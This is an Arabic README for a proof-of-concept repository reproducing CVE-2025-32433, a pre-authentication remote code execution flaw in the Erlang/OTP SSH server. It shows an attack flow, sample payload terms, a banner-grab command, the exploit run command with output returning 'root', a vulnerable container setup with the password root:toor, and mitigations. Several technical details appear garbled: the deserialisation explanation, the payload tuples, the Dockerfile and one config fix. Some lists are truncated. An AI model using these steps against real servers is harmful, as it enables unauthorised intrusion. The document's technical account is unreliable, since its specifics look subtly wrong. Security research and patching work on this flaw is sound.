
إعادة إنتاج cve-2025-32433-erlang_ssh_rce_reproduction
درجة CVSS: 10.0 (حرجة)
الحالة: يُستغل بنشاط في الهجمات الفعلية
الإفصاح: يونيو 2025
CVE-2025-32433 هي ثغرة حرجة تتيح تنفيذ الأكواد عن بُعد دون مصادقة في تطبيق خادم SSH (تطبيق ssh) الذي تأتي به حزمة Erlang/OTP. يكمن الخلل في منطق معالجة اتصالات SSH قبل اكتمال المصادقة، أي أنه لا توجد حاجة لأي بيانات اعتماد صالحة لاستغلال الثغرة. يمكن للمهاجم الذي يصل إلى منفذ Erlang SSH المعرض للخطر (عادةً المنفذ 22، أو منافذ مخصصة تستخدمها RabbitMQ وRiak وCouchDB وغيرها) تنفيذ أوامر شل عشوائية على النظام المستهدف.
اكتشف الثغرة الباحث الأمني Felix "xcz" Lange، وتم الإبلاغ عنها عبر عملية الإفصاح الأمني الخاصة بـ OTP. ظهر كود إثبات مفهوم عام خلال 72 ساعة من نشر الاستشارة الأمنية، ولوحظت عدة جهات تهديد تقوم بفحص لافتات SSH المعرضة للخطر (SSH-2.0-Erlang/OTP-*) مباشرة بعد الإفصاح.
توجد الثغرة في تطبيق SSH الخاص بـ Erlang في حزمة ssh ضمن OTP. وتحديدًا، يكمُن الخلل في طريقة معالجة خادم SSH لرسائل بدء تبادل المفاتيح قبل مرحلة المصادقة.
تفشل الوحدتان ssh_bind.erl وssh_connection_handler.erl في التحقق السليم من انتقالات آلة الحالة (state machine) عند معالجة رسائل SSH بروتوكولية معينة غير مرتبة أو مشوهة. من خلال إرسال حزمة SSH_MSG_KEXINIT مصممة بعناية أو رسالة طلب خدمة منشأة بشكل خاص أثناء مرحلة تبادل المفاتيح، يمكن للمهاجم أن يجعل آلة Erlang الافتراضية (Erlang VM) تقوم بما يلي:
هذه في الأساس ثغرة إلغاء تسلسل غير آمن لـ Erlang terms مقترنة بـ تجاوز لآلة الحالة. تُستخدم دالة binary_to_term/1 على مدخلات يتحكم بها المهاجم دون تفعيل الوضع safe، مما يسمح بإنشاء ذرات (atoms) عشوائية واستدعاء أي عملية مسجلة.
Attacker Vulnerable Erlang SSH Server
│ │
│──── TCP Connect (port 22) ──────────→│
│ │
│←── SSH-2.0-Erlang/OTP-26.x banner ──│
│ │
│──── SSH_MSG_KEXINIT (crafted) ──────→│
│ │
│──── [malformed service request] ────→│ ← State machine confused
│ │
│──── [binary_to_term payload] ───────→│ ← Unsafe deserialization
│ │
│←── Remote shell / cmd execution ────│
النقطة الجوهرية هي أن معالج اتصالات SSH يدخل في حالة غير متوقعة حيث يستدعي binary_to_term على البيانات الواردة قبل اكتمال المصافحة الأمنية. من خلال تضمين Erlang term ضار يرمّز حمولة تنفيذ أوامر (مثل استخدام erlang:open_port/2 مع spawn)، يحصل المهاجم على تنفيذ كود بصلاحيات عملية Erlang VM.
تستخدم الحمولة النموذجية تنسيق Erlang الخارجي للترميز:
{run, "cmd.exe /c <command>"}
-- or --
{spawn, "<command>"}
عند فك ترميز هذه القيم بواسطة binary_to_term/1، فإنها تتفاعل مع آلة حالة اتصال SSH لتنفيذ أوامر النظام.
عادةً ما يكون التقاط اللافتة (banner grab) كافيًا:
# A vulnerable service responds with:
SSH-2.0-Erlang/OTP-26.1
SSH-2.0-Erlang/OTP-25.2
SSH-2.0-Erlang/OTP-27.0
# A patched service responds with:
SSH-2.0-Erlang/OTP-26.2.6
SSH-2.0-Erlang/OTP-27.3.2
أي إصدار من Erlang/OTP أقل من الأرقام المُصلحة أعلاه يكون معرضًا للخطر.
paramiko أو وصول عبر socket خام (يعتمد PoC على الـ raw sockets)# Build a vulnerable Erlang container
FROM erlang:26.1-alpine
RUN echo "root:toor" | chpasswd && \
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
CMD ["erlexec", "ssh:daemon(8222)"]
أو استخدم خدمة معرضة للخطر موجودة بالفعل على شبكتك.
تحديد هدف معرض للخطر عبر التقاط اللافتة:
nc -w 3 <target> 22
# Look for: SSH-2.0-Erlang/OTP-
تشغيل استغلال PoC:
python exploit.py --target 192.168.1.100 --port 22 --command "whoami"
التحقق من التنفيذ:
[+] CVE-2025-32433 Erlang/OTP SSH Pre-Auth RCE
[+] Target: 192.168.1.100:22
[+] Banner: SSH-2.0-Erlang/OTP-26.1
[+] Triggering vulnerability...
[+] Payload sent.
[+] Response: root
[!] Exploit succeeded
يوفّر ملف exploit.py إثبات مفهوم عملي يقوم بما يلي:
يعتمد الاستغلال على ثلاثة مكونات رئيسية:
ssh_bind.erl وssh_transport.erlترقية Erlang/OTP (الأولوية القصوى):
# On Debian/Ubuntu
sudo apt-get update && sudo apt-get install erlang-base=1:27.3.2-1
# On RHEL/CentOS
sudo yum update erlang
# Source build
wget https://github.com/erlang/otp/releases/download/OTP-27.3.2/otp_src_27.3.2.tar.gz
tar xzf otp_src_27.3.2.tar.gz
cd otp_src_27.3.2
./configure && make && sudo make install
تقييد الوصول إلى SSH (حل مؤقت):
# Firewall rules to limit SSH source IPs
iptables -A INPUT -p tcp --dport 22 -s <trusted_networks> -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP
تعطيل Erlang SSH إذا لم يكن مستخدمًا:
% In sys.config
{kernel, [{distributed, []}]}
% Or stop the Erlang SSH application
application:stop(ssh).
ابحث عن أنماط مصافحة SSH غير طبيعية:
131, 104, وغيرها)epmd, beam.smp)تُقدَّم هذه المعلومات لأغراض تعليمية وللاختبارات الأمنية المصرح بها فقط. الاستخدام غير المصرح به لهذا الاستغلال ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها يعد أمرًا غير قانوني. المؤلفون غير مسؤولين عن أي إساءة استخدام.
هيكل المستودع:
cve-2025-32433-erlang_ssh_rce_reproduction/
├── README.md # This file
├── exploit.py # Python PoC exploit
└── LICENSE # MIT (for PoC code only)
| المنتج | الإصدارات المتأثرة | الإصدارات المُصلحة |
|---|
| Erlang/OTP | < 27.3.2, < 26.2.6, < 25.3.3 | 27.3.2+, 26.2.6+, 25.3.3+ |
| Elixir (عبر Erlang) | جميع الإصدارات التي تعمل على OTP معرض للخطر | إعادة الترجمة مع OTP مُصحح |
| RabbitMQ | < 3.12.14, < 3.13.7 (على OTP معرض للخطر) | 3.12.14+, 3.13.7+ مع OTP مُصحح |
| Riak KV/TS | < KV 2.9.6, < TS 1.5.5 (على OTP معرض للخطر) | حزم محدّثة مع OTP مُصحح |
| CouchDB | < 3.3.3 (عند استخدام Erlang SSH) | 3.3.3+ أو تعطيل SSH |
| Ejabberd | < 24.06 (على OTP معرض للخطر) | 24.06+ مع OTP مُصحح |